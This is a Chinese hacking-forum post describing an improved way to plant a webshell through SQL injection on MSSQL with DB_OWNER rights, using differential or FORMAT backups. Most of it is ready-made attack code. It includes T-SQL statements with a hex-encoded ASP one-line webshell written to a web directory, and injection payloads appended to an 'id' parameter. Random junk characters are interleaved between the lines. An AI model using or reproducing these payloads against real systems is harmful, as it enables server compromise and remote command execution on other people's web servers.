中国网络渗透测试联盟
标题:
DB_OWNER权限得到webshell的改进方法
[打印本页]
作者:
admin
时间:
2012-12-31 09:57
标题:
DB_OWNER权限得到webshell的改进方法
减少备份文件大小，得到可执行的webshell成功率提高不少
. W8 P6 B* p- e" L9 t, i0 r$ _
2 X9 }" c) c; S/ C
一利用差异备份
8 x/ \+ u' C; n3 V1 ~1 z4 X
加一个参数WITH DIFFERENTIAL
/ g V/ v( w% s `/ j6 f" u5 B
: G% n. d6 ]+ M6 x
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ C/ e6 H1 j" H- t5 H
create table [dbo].[xiaolu] ([cmd] [image]);
+ q% y" Q) P7 y' z, M& }3 F+ r5 g
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
+ B- q0 p# e+ Z4 q
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
7 E& C+ W' D; V1 Q s
9 k& R! @6 Z4 s0 q% x$ q4 j: M
二利用完全FORMAT
9 j$ o! k; h( D3 E
加一个参数WITH FROMAT
$ j$ O, G B1 \' Z' `
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
: c. u5 V. q \4 e4 e' o
9 f0 n- `1 n0 C7 \% s6 t: S1 M& w+ q
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
/ [6 V- u" ~/ `$ t
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
% A0 x" H0 }& e. H% E
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
. O% u# c& ^6 t
; m2 S) Z5 G/ H5 t; v% l/ t
总的来说就是那么简单几句,下面以备份数据库model为例子
, T% t) B' N5 }' k
3 o; q: l0 a: O2 O" Q
id=1;use model create table cmd(str image);insert into cmd(str) values (”)
! D4 E5 M- w% ]! p& e3 s$ w
' \/ `) d3 z7 x' F' a, A2 U
id=1;backup database model to disk=’你的路径‘ with differential,format;–
' {/ j( O$ F8 g) S" A0 l% [+ [6 _
) b7 Q" Q5 O& v0 Y0 b: F3 L
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2